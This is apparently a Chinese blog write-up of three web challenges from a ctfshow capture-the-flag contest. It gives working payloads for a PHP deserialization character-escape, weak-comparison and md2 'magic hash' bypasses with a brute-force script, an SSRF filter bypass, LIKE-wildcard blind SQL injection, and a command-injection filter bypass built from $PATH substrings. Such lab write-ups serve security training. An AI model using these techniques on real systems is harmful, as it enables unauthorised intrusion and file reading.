ctfshow月饼杯 web wp

这次的这个比赛中的web是我和羽师傅还有m3w师傅一起出的,一人一道。
其中最喜欢的是web3 羽师傅出的,真的太有意思啦。感谢羽师傅呢。
还有web1让自己复习序列化知识,感谢m3w师傅呢

web1_此夜圆

<?php
error_reporting(0);
class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}
function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这道题是m3w师傅出的,在前一天晚上会给我出了一道差不多是题,也是PHP反序列化的字符逃逸
这种类型的题目,百度上面应该有好多,这些就不仔细介绍啦~(懒了 嘻嘻嘻)
简单的分析代码,意思就是我们输入参数进行实例化,然后进行序列化使用函数替换字符。如果满足$this->password===yu22x,就输出flag
问题是:我们不能控制$password参数
这里利用的就是filter()函数进行替换字符,让序列化的字符数增加了,我们就可以自己构造啦
我们需要在最后构造";s:8:"password";s:5:"yu22x";} 一共是30个字符
输入Firebasky可以增加2个字符,于是简单的换算,就是我们需要输入15个Firebasky
payload:
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

web2_故人心

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

这道题出题思路是之前atao师傅分享的一道ssrf题,之前写个总结,因为要用来写比赛题就设置了访问只能自己看。
前面的几个绕过是自己之前见过的,但是当时可以通过数组绕过,这里就添加了函数让不能使用数组
第二个的md2是之前强网杯中的md4启发。
这道题思路特别简单就是一层一层的绕过得到flag。

第一个绕过我们可以构造特别小的数字进行绕过,0.000000000000000000000000000000000000000000000001可以绕过但是这里限制了长度,所以我们就可以通过科学计数法呀
payload:1e-200
这里自己之前测试过window和linux下面的精度都一样是1e-162
但是这个长度要有限制的,即1e-162到1e-323超过323位会失效

绕过第二个,这个可能有好多师傅想打我吧,有的师傅说电脑跑坏了都没有跑出来。
最后还是羽师傅拿一血。
其实出题的时候自己想都了这个问题所有放了一个robots.txt,可能好多师傅都没有看到吧。
这里附上之前强网杯的脚本2020强网杯强网先锋之Funhash

<?php
#by Firebasky
for($a=1;$a<=1000000000;$a++){
    $b='0e'.$a;
    $c=(substr(hash("md2",$b),2));//取后面满足是数字
    $d=(substr(hash("md2",$b),0,true).substr(hash("md2",$b),1,true));//取前面满足是0e
    if($d==='0e'){
        if(ctype_digit($c)){//is_numeric()函数是有漏洞。用ctype_digit();
                echo $b."success";
                break;
        }else{
            echo "fail";
        }
    }
}
#0e652024452   md2
#0e707326442    md2
#0e603448399      hash("md2",hash("md2",$b))

最后放了hint,存在一个robots.txt就暴力破解比较简单啦
注:开头必须是0e

绕过第三个
这里直接就用之前分析过的知识点吧
附上链接:ssrf绕过filter_var函数使用file_get_contents读取任意文件

web3_莫负婵娟

这个是羽师傅出的,羽师傅出的果然不一样。
自己还偷偷地去问羽师傅第一个怎么绕过的,最后羽师傅告诉我让我注重like的用法通配符
嘻嘻嘻,那个时候atao 师傅也告诉了我。最开始一直在想绕过单引号,哎~
参考链接:REGEXP注入与LIKE注入学习笔记
思路就是通过通配符去盲注密码
自己还不会写脚本呢,这里参考羽师傅的payload
嘻嘻嘻,其实这个密码是atao师傅给我的,自己就在bp上面测试了一下。
密码:67815b0c009ee970fe4014abaa3Fa6A0
登录成功是一个命令执行,fuzz了一下可以使用的字符有
大写字母,数字,{ },空格,$,~
最开始自己思路错了,就不介绍了啦~hhh

最后的思路是一位师傅告诉自己的,使用$PATH环境变量来截取字母
在这里插入图片描述
在这里插入图片描述
这里还可以尝试其他的系统变量(可以通过env查看):
PATH HOME SHELL TERM PWD USER

这里自己是参照自己的kali,应该说正确的是,开vps监听获得环境变量
最后payload
ip=127.0.0.1;${PATH:14:1}${PATH:9:1} ?${PATH:9:1}??.???
意思是nl ?l??.???

总结

这次比赛真的不错哎,可惜自己又不会misc和re。就只能做web,最后还是全部完成啦。太开心啦
还有就是这几天,感谢师傅们的帮助。太多太多师傅啦。

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 11
    评论
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值